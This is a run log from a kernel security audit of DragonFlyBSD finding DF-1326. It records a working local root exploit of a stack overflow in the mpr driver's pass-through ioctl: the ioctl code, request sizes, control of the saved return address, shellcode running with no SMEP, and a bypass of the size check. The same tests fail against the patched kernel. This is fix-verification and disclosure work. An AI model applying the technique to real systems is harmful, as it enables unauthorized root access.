⬢ DragonFlyBSD Kernel Audit
DF-1326 / run.log
← back to finding ↓ download raw
DF-1326 CANONICAL FRESH-SNAPSHOT RUN (2026-10-11, immediately after 'vm.sh reset with-src';
kernel #0 md5 4625046e8061b34e1758d291bc6cad18 = the shipped vulnerable kernel).
Root-staged instrumentation ONLY (no LSI SAS2008 HBA exists in QEMU, so
mpr_attach() can never run): build+load rig, resolve handler, shell for operator.
The TRIGGER runs as uid=2/gid=5 unprivileged operator.

mpr_ioctl_devsw = 0xffffffff80598ab0
kern.df1326rig_target: 0 -> 18446744071567936176
=== fresh-snapshot probe (as unprivileged operator) ===
mode=probe cs=0x2b ss=0x23 off: ct=8 tp=168 pu=16 uid=64 ruid=160 svuid=164 grp=72 rgid=168 svgid=172
open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=132
DF1326_CONTINUATION: getuid=0 getgid=0 (pid 1018)
DF1326_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1326_SHELL uid=0
=== guest health after escalation ===
10:59PM  up 34 secs, 0 users, load averages: 0.15, 0.04, 0.01

DF-1326 pass-3 decisive runs. All triggers executed as UNPRIVILEGED
operator-group user: su operator -c '/root/rig/trigger <mode>'
(uid=2 gid=5 groups=5(operator), opening /dev/df1326rig O_RDONLY --
the same 0640 root:operator ownership make_dev() gives /dev/mprN).

=== BASELINE kernel #0 (shipped, md5 4625046e..., vulnerable) ============

probe (RequestSize=132 > reqframesz=128; saved-RIP slot 0x44 = user
shellcode page): 5/5 runs
    open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=132
    DF1326_CONTINUATION: getuid=0 getgid=0 (pid 904)
    DF1326_ROOT: uid=0 achieved, launching root shell
    uid=0(root) gid=0(wheel) groups=0(wheel)
    DF1326_SHELL uid=0
(The ioctl syscall never returns; control re-emerges in the userspace
continuation via kernel shellcode + swapgs + iretq, uid already 0.
Kernel-side: dispatch kprintf "df1326rig: dispatch REAL
mpr_ioctl_devsw @ 0xffffffff80598ab0 cmd=0xc0384904" precedes each.)

evaded (RequestSize=96 <= 128: the post-hoc check at :804 PASSES, the
copyin at :800 has already smashed; ENOMEM path returns through the
controlled RIP): 1/1 run -> uid=0(root) as above.

rip (RequestSize=132, saved RIP = 0x4142434445464748):
    Fatal trap 9: general protection fault while in kernel mode
    instruction pointer = 0x8:0xffffffff8059842e   (mpr_user_pass_thru+0x6fe)
    frame pointer        = 0x10:0x0
    Stopped at      mpr_user_pass_thru+0x6fe:       ret
    => the #GP is AT the ret: the popped RIP is the attacker's.

smash (RequestSize=4096 spray 0x4142434445464748):
    Fatal trap 9: general protection fault while in kernel mode
    instruction pointer = 0x8:0xffffffff8059842e
    frame pointer        = 0x10:0x4546474841424344
    Stopped at      mpr_user_pass_thru+0x6fe:       ret

stage0 (ud2 on the user page reached from CPL0):
    Fatal trap 1: privileged instruction fault while in kernel mode
    instruction pointer = 0x8:0x10000000
    Stopped at      0x10000000:
    => CPL0 executed userspace-mapped code (no SMEP).

=== PATCHED kernel #1 (fix.diff, single-fix nativekernel) =================

=== probe ===
    open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=132
    ioctl returned rc=-1 errno=22 (Invalid argument) -- FIXED-KERNEL BEHAVIOR
=== evaded ===
    ioctl returned rc=-1 errno=12 (Cannot allocate memory) -- FIXED-KERNEL BEHAVIOR
    (bounds check passes for 96 in [12,128]; copyin copies ONLY
    sizeof(tmphdr)=12 bytes; flow proceeds to the command-less softc
    and returns ENOMEM -- no smash, clean syscall return)
=== rip ===
    ioctl returned rc=-1 errno=22 (Invalid argument)
=== smash ===
    ioctl returned rc=-1 errno=22 (Invalid argument)
3x repeat of probe on patched: EINVAL every time.
GUEST HEALTH after all patched runs: up, dmesg trap count = 0.

Patched-code ordering proof (objdump of the installed /boot/kernel/kernel):
    ffffffff80597dad: cmp    $0xb,%r8d              ; RequestSize < 12 ?
    ffffffff80597db1: jbe    ...+0x8d               ; -> copyin site
    ffffffff80597db3: cmp    %r8d,0x1c(%rbx)        ; reqframesz vs RequestSize
    ffffffff80597db7: jae    ffffffff805981f5       ; in range -> copyin (12 bytes)
                       ; fallthrough = EINVAL ($0x16 in r13d) BEFORE any copyin